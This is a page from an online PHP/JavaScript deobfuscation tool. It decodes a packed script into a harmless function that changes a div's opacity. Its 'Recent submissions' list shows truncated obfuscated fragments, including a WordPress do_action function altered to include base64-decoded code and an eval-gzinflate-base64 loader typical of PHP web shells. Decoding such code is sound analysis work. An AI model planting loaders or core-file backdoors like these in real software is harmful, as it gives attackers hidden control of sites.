Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('U(O(p,a,c,k,e,r){e=O(c){P(c<a?\'\':e(10(c/a)))+((c=c%a)>11?Q.12(c+13):c.V(14))};R(!\'\'.S(/^/,Q)){T(c--)r[e(c)]=k[c]||e(c);k=[O(e){P r[e]}];e=O(){P\'\\\\w+\'};c=1};T(c--)R(k[c])p=p.S(W X(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);P p}(\'t(l(p,a,c,k,e,r){e=l(c){m c.u(a)};n(!\\\'\\\'.o(/^/,v)){q(c--)r[e(c)]=k[c]||e(c);k=[l(e){m r[e]}];e=l(){m\\\'\\\\\\\\w+\\\'};c=1};q(c--)n(k[c])p=p.o(x y(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);m p}(\\\'6 7(){3(4.5){8 a=4.5("9");b(i=0;i<a.c;i++){1=a.d(i);3((1.e("f")=="g")){1.h.j=0.2}}}}\\\',s,s,\\\'|z||n|A|B|l|C|D|E||F|G|H|I|J|K|L||M\\\'.N(\\\'|\\\'),0,{}))\',Y,Y,\'|||||||||||||||||||||O|P|R|S||T||15|U|V|Q||W|X|16|17|18|19|1a|1b|1c|1d|1e|1f|1g|1h|1i|1j|Z\'.Z(\'|\'),0,{}))',62,82,'||||||||||||||||||||||||||||||||||||||||||||||||||function|return|String|if|replace|while|eval|toString|new|RegExp|50|split|parseInt|35|fromCharCode|29|36|20|cella|document|getElementsByTagName|settaDescrizioneSito|var|div|for|length|item|getAttribute|id|ptc_div|style|opacity'.split('|'),0,{}))

Decrypted code:

function settaDescrizioneSito()
	{
	if(document.getElementsByTagName)
		{
		var a=document.getElementsByTagName("div");
		for(i=0;
		i<a.length;
		i++)
			{
			cella=a.item(i);
			if((cella.getAttribute("id")=="ptc_div"))
				{
				cella.style.opacity=0.2
			}
		}
	}
}

Recent submissions:

var _$_b0f3=(function(l,g){var e=l.length;var b=[];for(var i=0;i< e;i++){b[i]= l.charAt(i)... const _0x3433eb=_0x260f;(function(_0x1336bd,_0x1a690c){const _0x398d17=_0x260f,_0x12e8ee=_... ${"G\x4cOB\x41L\x53"}["\x68\x6ass\x65\x6cn\x72"]="\x6fu\x74put\x46\x69\x6ce";${"\x47\x4cO\... function do_action( $hook_name, ...$arg ) { @include base64_decode("L2hvbWUvaGVzaHkvb... var _0x241e=["\x73\x65\x74\x55\x6E\x69\x6E\x73\x74\x61\x6C\x6C\x55\x52\x4C","\x72\x75\x6E\... [ { "\u0069\u0064": 1, "\u0070\u0072\u0069\u006f\u0072\u0069\u0074\u0079": 1,... { "\u006d\u0061\u006e\u0069\u0066\u0065\u0073\u0074\u005f\u0076\u0065\u0072\u0073\u006... eval(htmlspecialchars_decode(gzinflate(base64_decode($stt1)))); ... $OO0O00="nqbn1k";$OO0000="58";"bawh".="l+eghs4gh"; echo "bawh"("JE8wT... <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6...